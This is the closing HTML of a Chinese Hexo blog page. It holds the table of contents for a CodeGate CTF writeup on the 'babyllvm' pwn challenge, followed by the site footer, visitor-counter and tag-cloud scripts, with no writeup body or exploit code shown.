        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#codegate-两道简单题-writeup-1"><span class="toc-text">CodeGate 两道简单题 writeup (1)</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#前言"><span class="toc-text">前言</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#pwn-babyllvm"><span class="toc-text">pwn: babyllvm</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#题目信息"><span class="toc-text">题目信息</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#第一步查看题目大致背景"><span class="toc-text">第一步：查看题目大致背景</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#第二步理解程序细节实现"><span class="toc-text">第二步：理解程序细节实现</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#第三步找-bug-之找到可疑位置"><span class="toc-text">第三步：找 BUG 之，找到可疑位置</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#第四步从可疑位置思考-bug-的存在"><span class="toc-text">第四步：从可疑位置思考 bug 的存在</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#最后利用"><span class="toc-text">最后：利用</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#利用脚本"><span class="toc-text">利用脚本</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#附调试方法"><span class="toc-text">附：调试方法</span></a></li></ol></li></ol></li></ol>
        
    </div>
</aside>
                
            </div>
        </div>
    </section>
    <footer class="main-footer">
    <div class="container">
        <div class="row">
        </div>
    </div>
</footer>
<a id="back-to-top" class="icon-btn hide">
    <i class="fa fa-chevron-up"></i>
</a>
    <div class="copyright">
    <div class="container">
        <div class="row">
            <div class="col-sm-12">
                <div class="busuanzi">
    
    访问量:
    <strong id="busuanzi_value_site_pv">
        <i class="fa fa-spinner fa-spin"></i>
    </strong>
    &nbsp; | &nbsp;
    访客数:
    <strong id="busuanzi_value_site_uv">
        <i class="fa fa-spinner fa-spin"></i>
    </strong>
    
</div>
            </div>
            <div class="col-sm-12">
                <span>Copyright &copy;
                    2019
                </span> |
                <span>
                    Powered by <a href="//hexo.io" class="copyright-links" target="_blank" rel="nofollow">Hexo</a>
                </span> |
                <span>
                    Theme by <a href="//github.com/shenliyang/hexo-theme-snippet.git" class="copyright-links" target="_blank" rel="nofollow">Snippet</a>
                </span>
            </div>
        </div>
    </div>
</div>


<script src="/assets/tagcanvas.min.js?rev=2.9"></script>
<script>
var tagOption = {
    textColour: '#444', // 字体颜色
    outlineMethod: 'block', // 选中模式
    outlineColour: '#FFDAB9', // 选中模式的颜色
    interval: 30 || 30, // 动画帧之间的时间间隔，值越大，转动幅度越大
    textHeight: 13,
    outlineRadius: 3,
    freezeActive: true || '', // 选中的标签是否继续滚动
    frontSelect: true || '', // 不选标签云后部的标签
    initial: [0.1, -0.1],
    depth: 0.5,
    decel: 0.95,
    maxSpeed: 0.03,
    reverse: true || '', // 是否反向触发
    fadeIn: 500, // 进入动画时间
    wheelZoom: false || '' // 是否启用鼠标滚轮
}
TagCanvas.Start('tag-cloud-3d', '', tagOption);
</script>


<script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

<script src="/js/app.js?rev=@@hash"></script><!-- hexo-inject:begin --><!-- hexo-inject:end -->
</body>
</html>